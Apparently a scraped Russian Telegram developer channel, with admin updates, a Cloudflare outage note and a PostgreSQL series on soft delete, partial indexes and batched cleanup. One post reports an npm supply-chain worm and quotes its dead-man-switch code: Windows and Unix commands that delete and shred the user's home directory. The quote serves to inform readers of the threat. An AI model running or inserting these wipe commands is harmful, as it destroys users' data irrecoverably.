Ребят, админ снова с вами! Я тут немного пропал на недельку — успел побывать в больнице и в коротком отпуске (aka больничный), но теперь я снова цел и полон сил 😄
Давайте начнём недельку с обсуждения: а что вы вообще хотите видеть нового и необычного на канале? Да, я уже несколько раз делал подобный опрос, но раньше давал вам варианты на выбор. А теперь — свободный ответ. Может, вы хотите что-то такое, о чём я даже не задумывался.
Ну и да, старые идущие рубрики не заканчиваются — я всё ещё пишу текстики и редактирую видео для них (хотя больничный не очень позитивно сказался на сроках готовности).
Давайте начнём недельку с обсуждения: а что вы вообще хотите видеть нового и необычного на канале? Да, я уже несколько раз делал подобный опрос, но раньше давал вам варианты на выбор. А теперь — свободный ответ. Может, вы хотите что-то такое, о чём я даже не задумывался.
Ну и да, старые идущие рубрики не заканчиваются — я всё ещё пишу текстики и редактирую видео для них (хотя больничный не очень позитивно сказался на сроках готовности).
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍50❤20🔥7🫡3😍2❤🔥1🐳1🙊1
Никогда такого не было — и вот опять: в npm снова обнаружена supply-chain атака. В этот раз атака достаточно крупная и могла задеть большое количество рабочих станций и серверов.
Вредонос работает как червь, заражая пакеты пострадавшего разработчика. Но самое интересное — он содержит dead man switch, который может удалить пользовательские данные, если каналы распространения будут перекрыты.
После заражения вредонос крадёт с рабочей станции данные аутентификации для GitHub, npm, AWS, GCP и Azure и передаёт их в контролируемые хакерами GitHub-репозитории.
GitLab уже выпустил очень хорошую статью с разбором кода вредоноса, подробно объясняя, что он делает:
https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/
(если хотите мой перевод с пояснениями — дайте знать)
Полный список заражённых пакетов можно найти здесь:
https://github.com/wiz-sec-public/wiz-research-iocs/blob/main/reports/shai-hulud-2-packages.csv
Что отличает эту атаку от прошлых?
1. Масштаб — более 800 заражённых пакетов, включая не только модули для организаций, но и самостоятельные пакеты, а также модули для React.
2. Dead man switch — при отсутствии доступа одновременно к GitHub и npm вредонос пытается уничтожить домашнюю директорию пользователя:
Как говорится: никогда такого не было — и вот опять.
Stay safe.
Вредонос работает как червь, заражая пакеты пострадавшего разработчика. Но самое интересное — он содержит dead man switch, который может удалить пользовательские данные, если каналы распространения будут перекрыты.
После заражения вредонос крадёт с рабочей станции данные аутентификации для GitHub, npm, AWS, GCP и Azure и передаёт их в контролируемые хакерами GitHub-репозитории.
GitLab уже выпустил очень хорошую статью с разбором кода вредоноса, подробно объясняя, что он делает:
https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/
(если хотите мой перевод с пояснениями — дайте знать)
Полный список заражённых пакетов можно найти здесь:
https://github.com/wiz-sec-public/wiz-research-iocs/blob/main/reports/shai-hulud-2-packages.csv
Что отличает эту атаку от прошлых?
1. Масштаб — более 800 заражённых пакетов, включая не только модули для организаций, но и самостоятельные пакеты, а также модули для React.
2. Dead man switch — при отсутствии доступа одновременно к GitHub и npm вредонос пытается уничтожить домашнюю директорию пользователя:
// DESTRUCTION TRIGGER: No GitHub AND no NPM access
console.log("Error 12");
if (platform === "windows") {
// Attempts to delete all user files and overwrite disk sectors
Bun.spawnSync(["cmd.exe", "/c",
"del /F /Q /S \"%USERPROFILE%*\" && " +
"for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
"cipher /W:%USERPROFILE%" // Overwrite deleted data
]);
} else {
// Attempts to shred all writable files in home directory
Bun.spawnSync(["bash", "-c",
"find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
"xargs -0 -r shred -uvz -n 1 && " + // Overwrite and delete
"find \"$HOME\" -depth -type d -empty -delete" // Remove empty dirs
]);
}
process.exit(0);
Как говорится: никогда такого не было — и вот опять.
Stay safe.
👍41❤10❤🔥4🔥1😁1🤗1🙊1
Всем привет! Начинаем неделю (и ждём завоза в среду) с интересного чтения. Помните мой цикл постов о морали и геймдизайне убийства детей в играх? Так вот, идея этого цикла у меня появилась после того, как я прочитал работу Бьорна Шёблома на эту тему.
Если вас заинтересовала эта тема и вы хотите глубже её изучить, то специально для вас я выложил эту статью в оригинале на своём Boosty и, страдая несколько часов, полностью перевёл её на русский.
Там есть действительно интересные размышления, цитаты и референсы, которые я не мог публиковать здесь из-за риска получить пару статей за такие формулировки :D
Читать тут: https://boosty.to/redguy/posts/94737a8e-df80-49c2-8b64-44d1eb5c530d?share=post_link
Если вас заинтересовала эта тема и вы хотите глубже её изучить, то специально для вас я выложил эту статью в оригинале на своём Boosty и, страдая несколько часов, полностью перевёл её на русский.
Там есть действительно интересные размышления, цитаты и референсы, которые я не мог публиковать здесь из-за риска получить пару статей за такие формулировки :D
Читать тут: https://boosty.to/redguy/posts/94737a8e-df80-49c2-8b64-44d1eb5c530d?share=post_link
boosty.to
Бонусные материалы: Убийство цифровых детей - Илья
Осново полагающая статья из цикла про убийства детей в играх в оригинале и моём переводе.
❤29🏆3👍2🔥2😎2
Привет ребят!
Что-то я щас дико ушёл в работу, так много всего делаю что немного не успеваю писать для вас, но давайте заключим сделку.
Я — публикую для вас смешной ролик, с тем как я в РЕПО с иностранцами играл.
Вы — прощаете меня за то что я не успеваю завозить для вас больше контента.
Чтобы вы понимали, за 2 месяца что я его делал, я смеялся при каждом его просмотре, а это было много раз...
Ну и да, по остальным постам, у меня в работе ещё 19 разных и интересных постов которые могут полноценно перерасти в рубрики, так что... Пока приятного просмотра, а в скором будет и приятного чтения!
https://youtu.be/jPniG_3SMHs
Что-то я щас дико ушёл в работу, так много всего делаю что немного не успеваю писать для вас, но давайте заключим сделку.
Я — публикую для вас смешной ролик, с тем как я в РЕПО с иностранцами играл.
Вы — прощаете меня за то что я не успеваю завозить для вас больше контента.
Чтобы вы понимали, за 2 месяца что я его делал, я смеялся при каждом его просмотре, а это было много раз...
Ну и да, по остальным постам, у меня в работе ещё 19 разных и интересных постов которые могут полноценно перерасти в рубрики, так что... Пока приятного просмотра, а в скором будет и приятного чтения!
https://youtu.be/jPniG_3SMHs
❤34😎5❤🔥3🙉2👍1🔥1🤝1
В своём канале "Эссергей" Сергей Шпадырев разбирает реальность по винтикам: философия и математика, теология и буддизм, психология и деконструкция мира простыми словами. Подписывайтесь, чтобы смотреть на обычные вещи под необычным углом!
Перейди в канал, чтобы взглянуть на мир иначе!
Перейди в канал, чтобы взглянуть на мир иначе!
1❤24😱5🕊5🤪1
Мало людей знают и говорят об этом, так что я решил рассказать и обратить ваше внимание на один интересный факт о сезоне.
Мастерская 47 - первый сезон в котором для сезона пишется не просто одна песня, не пару фоновых мелодий, А ЦЕЛЫЙ АЛЬБОМ САУНДТРЕКА.
Так что, если вам понравилась какая-то мелодия из серии, или стартовый саудтрек анимации, вы можете переслушать и добавить его в свой плейлист.
Ну и давайте вместе поддержим Юру Леонтьева (наш композитор, саунд-продюссер и автор этого альбома).
YouTube Music
Spotify
Apple Music
Yandex Music
Мастерская 47 - первый сезон в котором для сезона пишется не просто одна песня, не пару фоновых мелодий, А ЦЕЛЫЙ АЛЬБОМ САУНДТРЕКА.
Так что, если вам понравилась какая-то мелодия из серии, или стартовый саудтрек анимации, вы можете переслушать и добавить его в свой плейлист.
Ну и давайте вместе поддержим Юру Леонтьева (наш композитор, саунд-продюссер и автор этого альбома).
YouTube Music
Spotify
Apple Music
Yandex Music
YouTube Music
Workshop 47, Vol. 1 (Original Series Soundtrack) - Album by Yuriy Leontiev
Listen to Workshop 47, Vol. 1 (Original Series Soundtrack) by Yuriy Leontiev on YouTube Music - a dedicated music app with official songs, music videos, remixes, covers, and more.
💘41🔥15🤯5😱2❤🔥1❤1👍1😁1
Постик для лолофд.
А давайте вместе подумаем: если бы заказ Ромы дополнился и вышел бы спин-офф сезон, который ушёл от циклического иссекая с антологической структурой миров во что-то другое — то что это было бы?
Может, это был бы неожиданный, тёплый и добрый slice of life про кого-то из персонажей.
Или ромком с зарождением и развитием отношений вашего любимого шипа в сезоне.
А может, просто road-movie по миру Точки невозврата?
Буду рад почитать ваши идеи — и уверен, что другие подписчики тоже будут рады!
А давайте вместе подумаем: если бы заказ Ромы дополнился и вышел бы спин-офф сезон, который ушёл от циклического иссекая с антологической структурой миров во что-то другое — то что это было бы?
Может, это был бы неожиданный, тёплый и добрый slice of life про кого-то из персонажей.
Или ромком с зарождением и развитием отношений вашего любимого шипа в сезоне.
А может, просто road-movie по миру Точки невозврата?
Буду рад почитать ваши идеи — и уверен, что другие подписчики тоже будут рады!
👍51🔥8❤4❤🔥3⚡3💘2🥰1👏1😁1🤯1
Доброе утро, очередное важное напоминание для вас, сегодня интернет положил не РКН, а упавший CloudFlare... Опять
UPD: мы в 12:11 по МСК поднялись
UPD: мы в 12:11 по МСК поднялись
😢60❤🔥7❤4🔥3👏2🕊2😁1🎉1
Бессонный кодер
Доброе утро, очередное важное напоминание для вас, сегодня интернет положил не РКН, а упавший CloudFlare... Опять UPD: мы в 12:11 по МСК поднялись
Появилась информация о причине сбоя:
A change made to how Cloudflare's Web Application Firewall parses requests caused Cloudflare's network to be unavailable for several minutes this morning. This was not an attack; the change was deployed by our team to help mitigate the industry-wide vulnerability disclosed this week in React Server Components. We will share more information as we have it today.
Твой главный враг - ты сам
A change made to how Cloudflare's Web Application Firewall parses requests caused Cloudflare's network to be unavailable for several minutes this morning. This was not an attack; the change was deployed by our team to help mitigate the industry-wide vulnerability disclosed this week in React Server Components. We will share more information as we have it today.
Твой главный враг - ты сам
🌚43❤8💘4🔥1🤯1🙏1👌1💅1
Всем приветик!
Настало время понемногу рассказывать о том, с чем мы столкнулись в разработке — и что, как мне кажется, будет вам интересно.
(Иронично, конечно, что пост выходит в момент, когда я снова дико занят, потому что кое-кто опять занят юридическими делами. Но ладно, не будем о грустном.)
Помните, в одном из прошлых постов я говорил, что хочу попробовать поработать с ещё более жёстким хайлоадом?
Ну… накаркал.
Как вы знаете, в Стражнике мы модерируем стикеры (и морально готовимся к фото и гифкам). И вот, буквально на днях, нас накрыл такой вал нагрузки, что за короткое время мы обработали 30+ миллионов записей и 8 миллионов файлов.
И где-то между «всё хорошо» и «This is fine» всплыла очень любопытная проблема.
Как у нас устроен флоу обработки:
запись задачи → процессор обрабатывает задачу → сохраняет результаты как файлы → нейронка обрабатывает эти файлы.
Красиво? Да.
Работает? Обычно — да.
Но в тот день нейронка… простаивала. Почти полностью пустая.
А очередь задач — Токио ещё далеко до такого количества записей.
Мы начали разбираться, и выяснилось: у нас дико тормозит удаление строк из таблицы. Самый обычный, самый банальный запрос:
То есть не нейронка, не процессинг файлов, не очереди — а DELETE.
И в этот момент у меня в голове всплыло то самое вечное высказывание, которое я слышу когда Telegram в очередной раз показывает удалённое сообщение:
«Мессенджеры не удаляют сообщения — они помечают их как удалённые».
И я подумал: окей, если у нас DELETE начинает душить пайплайн, давайте разберёмся почему так происходит и как жить.
Поэтому встречайте: новый мини-цикл постов!
Мы поговорим о:
- soft delete и hard delete
- о том, почему PostgreSQL на самом деле не удаляет строки сразу
- как устроена под капотом MVCC
- почему UPDATE с флагом бывает дешевле DELETE
- как мессенджеры управляют массивами данных
- что вам лично с этим делать, если у вас миллионы строк и нагрузка растёт
Готовьте свои СУБД, миллионы записей и немного кофе.
Мы начинаем уже завтра.
Настало время понемногу рассказывать о том, с чем мы столкнулись в разработке — и что, как мне кажется, будет вам интересно.
(Иронично, конечно, что пост выходит в момент, когда я снова дико занят, потому что кое-кто опять занят юридическими делами. Но ладно, не будем о грустном.)
Помните, в одном из прошлых постов я говорил, что хочу попробовать поработать с ещё более жёстким хайлоадом?
Ну… накаркал.
Как вы знаете, в Стражнике мы модерируем стикеры (и морально готовимся к фото и гифкам). И вот, буквально на днях, нас накрыл такой вал нагрузки, что за короткое время мы обработали 30+ миллионов записей и 8 миллионов файлов.
И где-то между «всё хорошо» и «This is fine» всплыла очень любопытная проблема.
Как у нас устроен флоу обработки:
запись задачи → процессор обрабатывает задачу → сохраняет результаты как файлы → нейронка обрабатывает эти файлы.
Красиво? Да.
Работает? Обычно — да.
Но в тот день нейронка… простаивала. Почти полностью пустая.
А очередь задач — Токио ещё далеко до такого количества записей.
Мы начали разбираться, и выяснилось: у нас дико тормозит удаление строк из таблицы. Самый обычный, самый банальный запрос:
DELETE FROM jobs WHERE id = $1;
То есть не нейронка, не процессинг файлов, не очереди — а DELETE.
И в этот момент у меня в голове всплыло то самое вечное высказывание, которое я слышу когда Telegram в очередной раз показывает удалённое сообщение:
«Мессенджеры не удаляют сообщения — они помечают их как удалённые».
И я подумал: окей, если у нас DELETE начинает душить пайплайн, давайте разберёмся почему так происходит и как жить.
Поэтому встречайте: новый мини-цикл постов!
Мы поговорим о:
- soft delete и hard delete
- о том, почему PostgreSQL на самом деле не удаляет строки сразу
- как устроена под капотом MVCC
- почему UPDATE с флагом бывает дешевле DELETE
- как мессенджеры управляют массивами данных
- что вам лично с этим делать, если у вас миллионы строк и нагрузка растёт
Готовьте свои СУБД, миллионы записей и немного кофе.
Мы начинаем уже завтра.
🔥39❤8❤🔥3😎3🍓2👻1
Итак, открываем наш цикл о сложности, о которой почти никто не думает — до тех пор, пока не становится слишком поздно.
Начнём с самого простого. Вот наш запрос:
Разбираем по частям:
Выглядит… ну, вообще не страшно. Обычнейшая операция.
Но давайте посмотрим, что на самом деле происходит в тот момент, когда вы это делаете.
1) Поиск строки
PostgreSQL должен найти нужную запись.
В больших таблицах это почти всегда будет по индексу, так что шаг ещё относительно быстрый.
Но это — только разогрев.
2) Установка блокировки строки
DELETE ставит блокировку на саму строку.
Если таблица — архив, не страшно.
Если таблица активно читается/пишется, или если DELETE прилетают потоком — вы получите: задержки, очереди ожидания, эффект "узкого горлышка", который начинает душить весь поток.
Неприятно, но терпимо. Пока.
3) Удаление строки (ну… почти)
PostgreSQL помечает строку как удалённую.
Физически она никуда не девается (про это поговорим в следующем посте).
Сам шаг быстрый, тут ещё нет боли.
4) Обновление индексов — и вот здесь начинается настоящий урон
База вынуждена удалить все ссылки на эту строку из:
- первичного ключа,
- каждого индекса таблицы,
- всех составных индексов, если они есть (а они почти всегда есть).
Это самая дорогая часть операции:
Postgres модифицирует страницы индексов, перелопачивает их структуру, записывает изменения — это всё время, CPU и дисковые операции.
DELETE на таблице с 5 индексами — это в 5+ раз больше работы, чем DELETE на таблице без индексов.
5) Запись изменений в WAL — финальный босс
Всё, что произошло:
- блокировки,
- изменения строк,
- изменения индексов,
- факт удаления
всё это теперь нужно записать в WAL (Write-Ahead Log).
И если у вас:
- высокая нагрузка,
- репликация,
- много DELETE подряд
WAL становится бутылочным горлышком, начинаются задержки, и производительность всей системы падает.
И что мы получаем
Одна строка. Один DELETE.
А работы... Много, если цензурно выражаться.
А теперь представьте, что это не один DELETE, а тысяча.
А теперь — что это тысячи DELETE каждую минуту.
Если вы мессенджер, DELETE будет прилетать потоком.
Если вы контроллер задач с большой нагрузкой — тоже.
И вот тут DELETE превращается в довольно дорогую операцию, которая может тормозить весь ваш пайплайн… как это, собственно, и произошло у нас.
Начнём с самого простого. Вот наш запрос:
DELETE FROM jobs WHERE id = 123;
Разбираем по частям:
DELETE — говорим серверу: «пора удалять».FROM jobs — удалять будем в таблице jobs.WHERE id = 123 — удаляем только те строки, где id равен 123.Выглядит… ну, вообще не страшно. Обычнейшая операция.
Но давайте посмотрим, что на самом деле происходит в тот момент, когда вы это делаете.
1) Поиск строки
PostgreSQL должен найти нужную запись.
В больших таблицах это почти всегда будет по индексу, так что шаг ещё относительно быстрый.
Но это — только разогрев.
2) Установка блокировки строки
DELETE ставит блокировку на саму строку.
Если таблица — архив, не страшно.
Если таблица активно читается/пишется, или если DELETE прилетают потоком — вы получите: задержки, очереди ожидания, эффект "узкого горлышка", который начинает душить весь поток.
Неприятно, но терпимо. Пока.
3) Удаление строки (ну… почти)
PostgreSQL помечает строку как удалённую.
Физически она никуда не девается (про это поговорим в следующем посте).
Сам шаг быстрый, тут ещё нет боли.
4) Обновление индексов — и вот здесь начинается настоящий урон
База вынуждена удалить все ссылки на эту строку из:
- первичного ключа,
- каждого индекса таблицы,
- всех составных индексов, если они есть (а они почти всегда есть).
Это самая дорогая часть операции:
Postgres модифицирует страницы индексов, перелопачивает их структуру, записывает изменения — это всё время, CPU и дисковые операции.
DELETE на таблице с 5 индексами — это в 5+ раз больше работы, чем DELETE на таблице без индексов.
5) Запись изменений в WAL — финальный босс
Всё, что произошло:
- блокировки,
- изменения строк,
- изменения индексов,
- факт удаления
всё это теперь нужно записать в WAL (Write-Ahead Log).
И если у вас:
- высокая нагрузка,
- репликация,
- много DELETE подряд
WAL становится бутылочным горлышком, начинаются задержки, и производительность всей системы падает.
И что мы получаем
Одна строка. Один DELETE.
А работы... Много, если цензурно выражаться.
А теперь представьте, что это не один DELETE, а тысяча.
А теперь — что это тысячи DELETE каждую минуту.
Если вы мессенджер, DELETE будет прилетать потоком.
Если вы контроллер задач с большой нагрузкой — тоже.
И вот тут DELETE превращается в довольно дорогую операцию, которая может тормозить весь ваш пайплайн… как это, собственно, и произошло у нас.
❤50🔥8❤🔥5🍓2🤝2
Чё мы такие серьёзные, учитывая посты в канале, ко мне уже люди боятся обращаться, думая что я задушню. Обращение "дядя Бессонный" — легендарно.
Давайте разбавлять напряжение и страх меня в канале.
Тем более, It's wednesday my dudes. Теперь по средам мы не напрягаемся, я не пугаю вас лонгридами и мы смотрим мемчики. Не только же работать)
Давайте разбавлять напряжение и страх меня в канале.
Тем более, It's wednesday my dudes. Теперь по средам мы не напрягаемся, я не пугаю вас лонгридами и мы смотрим мемчики. Не только же работать)
🕊63❤12☃5✍3❤🔥2🔥2💋2🎉1
Продолжая разговор о таблицах и строках.
Мы уже поняли, что
Давайте разберёмся, как
Когда PostgreSQL «удаляет» строку, он не вырезает её из таблицы. Он помечает её как неактуальную. Такая строка называется dead tuple — мёртвая версия строки.
Она:
- продолжает лежать в таблице
- занимает место на странице и на диске
- участвует в механизме чтения (они не возвращаются, так как отфильтровываются по visibility map, но увеличивают стоимость скана)
- не удаляется без VACUUM
То есть
Почему так происходит
Причина — MVCC (многоверсионность).
PostgreSQL обязан:
- позволять другим транзакциям дочитать старые данные
- сохранять консистентность
- не блокировать чтение
Цена за это — версии строк. А при
А проблема ли это вообще?
Пока dead tuples мало — нет.
Но при массовых операциях начинается цепная реакция.
- Вы удаляете строки, но место на диске не освобождается, а иногда даже продолжает расти.
- Чтение становится дороже: база проверяет видимость строк, даже если актуальных данных мало.
- VACUUM начинает работать дольше и чаще.
Самое неприятное
PostgreSQL не уменьшает размер таблицы автоматически.
Даже если VACUUM убрал большенство dead tuples — файл таблицы на диске останется прежнего размера.
Чтобы реально вернуть место, нужны тяжёлые меры:
- VACUUM FULL
- перенос данных
- партиционирование
А это уже операции, которые очень не хочется выполнять на живой системе под нагрузкой. А как жить в таком жестоком мире мы поговорим в следующем посте.
Мы уже поняли, что
DELETE — операция тяжеловатая. Но внимательные могли заметить: я писал не «удаляет строку», а «помечает строку». И это важно.Давайте разберёмся, как
DELETE работает на самом деле.Когда PostgreSQL «удаляет» строку, он не вырезает её из таблицы. Он помечает её как неактуальную. Такая строка называется dead tuple — мёртвая версия строки.
Она:
- продолжает лежать в таблице
- занимает место на странице и на диске
- участвует в механизме чтения (они не возвращаются, так как отфильтровываются по visibility map, но увеличивают стоимость скана)
- не удаляется без VACUUM
То есть
DELETE — это не «убрали», а «оставили, но пометили как мусор».Почему так происходит
Причина — MVCC (многоверсионность).
PostgreSQL обязан:
- позволять другим транзакциям дочитать старые данные
- сохранять консистентность
- не блокировать чтение
Цена за это — версии строк. А при
DELETE появляется ещё и мёртвая версия, которая никуда не исчезает сразу.А проблема ли это вообще?
Пока dead tuples мало — нет.
Но при массовых операциях начинается цепная реакция.
- Вы удаляете строки, но место на диске не освобождается, а иногда даже продолжает расти.
- Чтение становится дороже: база проверяет видимость строк, даже если актуальных данных мало.
- VACUUM начинает работать дольше и чаще.
Самое неприятное
PostgreSQL не уменьшает размер таблицы автоматически.
Даже если VACUUM убрал большенство dead tuples — файл таблицы на диске останется прежнего размера.
Чтобы реально вернуть место, нужны тяжёлые меры:
- VACUUM FULL
- перенос данных
- партиционирование
А это уже операции, которые очень не хочется выполнять на живой системе под нагрузкой. А как жить в таком жестоком мире мы поговорим в следующем посте.
❤42🔥12⚡5🫡3🥰2👍1🆒1
И снова привет! Продолжаем наши похождения по удалениям.
Мы уже обсудили две важные вещи:
-
- после
Возникает логичный вопрос: а как тогда удалять?
И ответ на него одновременно простой и нет — soft delete.
Что такое soft delete
В этой методике мы не удаляем строку, а просто помечаем её как удалённую.
То есть вместо:
мы делаем:
Для приложения запись сразу считается удалённой,
но физически она остаётся в таблице.
Почему это дешевле
1. Мы почти не трогаем индексы
Поле
а значит — меньше модификаций страниц и меньше дисковых операций.
2. Меньше WAL
UPDATE одного поля пишет меньше данных в WAL,
что снижает нагрузку на диск и упрощает репликацию.
3. Меньше блокировок и побочных эффектов
Нет постоянного потока тяжёлых DELETE,
система ведёт себя стабильнее под нагрузкой.
Почему deleted_at, а не is_deleted
Чаще всего используют именно
- известно, когда запись была удалена
- можно откатить удаление по дате
- удобно строить TTL-чистку на основе времени удаления.
«Но ведь строки остаются в таблице»
Да. И в этом весь смысл.
Мы разделяем удаление на два этапа:
1. Быстро и дёшево убираем данные из пользовательского флоу в любой момент времени.
2. Медленно и аккуратно удаляем их физически позже —
например, ночью, когда система нагружена меньше.
И небольшой приятный бонус
Когда пользователь пишет: «Я СЛУЧАЙНО НАЖАЛ УДАЛИТЬ, ВЕРНИТЕ» — у вас уже есть TTL-окно, в которое это можно спокойно сделать 😉
Мы уже обсудили две важные вещи:
-
DELETE — тяжёлая операция;- после
DELETE в базе остаётся мусор.Возникает логичный вопрос: а как тогда удалять?
И ответ на него одновременно простой и нет — soft delete.
Что такое soft delete
В этой методике мы не удаляем строку, а просто помечаем её как удалённую.
То есть вместо:
DELETE FROM messages WHERE id = 993;
мы делаем:
UPDATE messages
SET deleted_at = now()
WHERE id = 993;
Для приложения запись сразу считается удалённой,
но физически она остаётся в таблице.
Почему это дешевле
1. Мы почти не трогаем индексы
Поле
deleted_at обычно не входит в основные индексы,а значит — меньше модификаций страниц и меньше дисковых операций.
2. Меньше WAL
UPDATE одного поля пишет меньше данных в WAL,
что снижает нагрузку на диск и упрощает репликацию.
3. Меньше блокировок и побочных эффектов
Нет постоянного потока тяжёлых DELETE,
система ведёт себя стабильнее под нагрузкой.
Почему deleted_at, а не is_deleted
Чаще всего используют именно
deleted_at timestamptz, потому что:- известно, когда запись была удалена
- можно откатить удаление по дате
- удобно строить TTL-чистку на основе времени удаления.
«Но ведь строки остаются в таблице»
Да. И в этом весь смысл.
Мы разделяем удаление на два этапа:
1. Быстро и дёшево убираем данные из пользовательского флоу в любой момент времени.
2. Медленно и аккуратно удаляем их физически позже —
например, ночью, когда система нагружена меньше.
И небольшой приятный бонус
Когда пользователь пишет: «Я СЛУЧАЙНО НАЖАЛ УДАЛИТЬ, ВЕРНИТЕ» — у вас уже есть TTL-окно, в которое это можно спокойно сделать 😉
👍37❤14🙏3🎃1🦄1
This media is not supported in your browser
VIEW IN TELEGRAM
🤣51😁8💯7🔥4🥰1👏1😢1🏆1😭1
Мы пережили среду. Не сказать, что это было сложно, но — пережили.
А значит, идём дальше в нашем приключении по столбцам.
Мы уже научились дёшево “удалять” данные, используя методику soft delete. Но, как это обычно бывает, тут нас ждёт новый подводный камень.
Если просто начать добавлять
Почему?
Потому что мы поменяли паттерн чтения, и внезапно перестали эффективно попадать в индекс.
Звучит не очень понятно — давайте разберёмся на примере.
Пример: таблица сообщений
Допустим, у нас есть таблица сообщений, и задача простая: прочитать сообщения конкретного чата, отсортированные по дате создания.
Запрос выглядит просто:
Под него идеально подходит индекс:
Быстро, красиво, эффективно.
А теперь добавляем soft delete
Как только появляется условие:
На больших таблицах это означает лишнюю работу, а иногда — почти последовательное сканирование.
И вот вы уже вроде как оптимизировали удаление, и сломали чтение.
Но и тут есть решение — partial index (частичный индекс)
Мы можем создать индекс только по живым строкам:
Что это нам даёт:
- индекс становится меньше по размеру
- в нём лежат только актуальные данные
- чтение сообщений происходит быстро и стабильно
- планировщику проще выбрать правильный план.
Важный момент
Partial index — это не опциональная оптимизация, а обязательная часть архитектуры soft delete.
Очень частая ошибка выглядит так: «Мы внедрили soft delete, но база всё равно тормозит».
А потом выясняется, что:
- SELECT сканирует кучу удалённых строк;
- индекс есть, но он не помогает
Если коротко
И только вместе они дают тот эффект, ради которого всё это и затевалось.
А значит, идём дальше в нашем приключении по столбцам.
Мы уже научились дёшево “удалять” данные, используя методику soft delete. Но, как это обычно бывает, тут нас ждёт новый подводный камень.
Если просто начать добавлять
deleted_at IS NULL в запросы, то на больших объёмах данных мы можем не ускориться, а вполне себе замедлиться.Почему?
Потому что мы поменяли паттерн чтения, и внезапно перестали эффективно попадать в индекс.
Звучит не очень понятно — давайте разберёмся на примере.
Пример: таблица сообщений
Допустим, у нас есть таблица сообщений, и задача простая: прочитать сообщения конкретного чата, отсортированные по дате создания.
Запрос выглядит просто:
SELECT *
FROM messages
WHERE chat_id = 42
ORDER BY created_at;
Под него идеально подходит индекс:
(chat_id, created_at)Быстро, красиво, эффективно.
А теперь добавляем soft delete
Как только появляется условие:
AND deleted_at IS NULL всё начинает меняться. PostgreSQL сначала находит строки по индексу, а потом вынужден проверять deleted_at IS NULL отдельноНа больших таблицах это означает лишнюю работу, а иногда — почти последовательное сканирование.
И вот вы уже вроде как оптимизировали удаление, и сломали чтение.
Но и тут есть решение — partial index (частичный индекс)
Мы можем создать индекс только по живым строкам:
CREATE INDEX idx_messages_live
ON messages (chat_id, created_at)
WHERE deleted_at IS NULL;
Что это нам даёт:
- индекс становится меньше по размеру
- в нём лежат только актуальные данные
- чтение сообщений происходит быстро и стабильно
- планировщику проще выбрать правильный план.
Важный момент
Partial index — это не опциональная оптимизация, а обязательная часть архитектуры soft delete.
Очень частая ошибка выглядит так: «Мы внедрили soft delete, но база всё равно тормозит».
А потом выясняется, что:
- SELECT сканирует кучу удалённых строк;
- индекс есть, но он не помогает
Если коротко
Soft delete отвечает за дешёвую запись.
Partial index — за быструю выборку.
И только вместе они дают тот эффект, ради которого всё это и затевалось.
❤47😁4❤🔥1👍1🔥1🌭1🙈1
Итак, мы уже почти полностью прошли путь внедрения soft delete: от замены DELETE-операций до выстраивания индексов.
Но остаётся главный вопрос:
Ведь строки остаются.
И если их не убирать — таблица рано или поздно превратится в свалку.
На первый взгляд всё кажется простым.
Ну правда, что может пойти не так?
Но как бы мило и аккуратно ни выглядел этот запрос,
на больших объёмах он может сделать очень больно:
- огромный DELETE → всплеск WAL
- долгий и тяжёлый ближайший VACUUM
- просадки по latency
- неожиданные тормоза в живом трафике.
Если у вас ночью почти нет нагрузки — да, такой вариант иногда можно себе позволить.
Но что делать, если у вас постоянный поток операций и «тихого времени» просто не существует?
Постепенный вынос мусора
В этом случае мусор выносят маленькими порциями.
Типичный подход выглядит так:
- раз в 5 минут
- удаляем 1–5 тысяч строк
- без спешки
- без пиков нагрузки
Пример запроса:
Что это даёт:
- Ограниченный WAL — без резких всплесков.
- Короткие транзакции — меньше блокировок.
- Предсказуемую нагрузку — без сюрпризов для продакшена.
- Возможность спокойно жить даже под постоянным трафиком.
И главное, что стоит запомнить
Но остаётся главный вопрос:
а как вообще выносят мусор?
Ведь строки остаются.
И если их не убирать — таблица рано или поздно превратится в свалку.
На первый взгляд всё кажется простым.
Ну правда, что может пойти не так?
DELETE FROM messages
WHERE deleted_at < now() - interval '30 days';
Но как бы мило и аккуратно ни выглядел этот запрос,
на больших объёмах он может сделать очень больно:
- огромный DELETE → всплеск WAL
- долгий и тяжёлый ближайший VACUUM
- просадки по latency
- неожиданные тормоза в живом трафике.
Если у вас ночью почти нет нагрузки — да, такой вариант иногда можно себе позволить.
Но что делать, если у вас постоянный поток операций и «тихого времени» просто не существует?
Постепенный вынос мусора
В этом случае мусор выносят маленькими порциями.
Типичный подход выглядит так:
- раз в 5 минут
- удаляем 1–5 тысяч строк
- без спешки
- без пиков нагрузки
Пример запроса:
DELETE FROM messages
WHERE id IN (
SELECT id
FROM messages
WHERE deleted_at < now() - interval '30 days'
ORDER BY deleted_at
LIMIT 5000
);
Что это даёт:
- Ограниченный WAL — без резких всплесков.
- Короткие транзакции — меньше блокировок.
- Предсказуемую нагрузку — без сюрпризов для продакшена.
- Возможность спокойно жить даже под постоянным трафиком.
И главное, что стоит запомнить
Soft delete — это не “никогда не удалять”.
Это “удалять тогда, когда системе удобно”.
Он не является панацеей от всех проблем,
но его разумное использование может сократить их.
❤21🔥4❤🔥3👍1😁1🤗1
Сегодня конечно не среда, но держите прекрасную ситуацию, которая у нас возникла из-за ttl токена, о котором все забыли 😱
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥73😍5💯4❤2👏2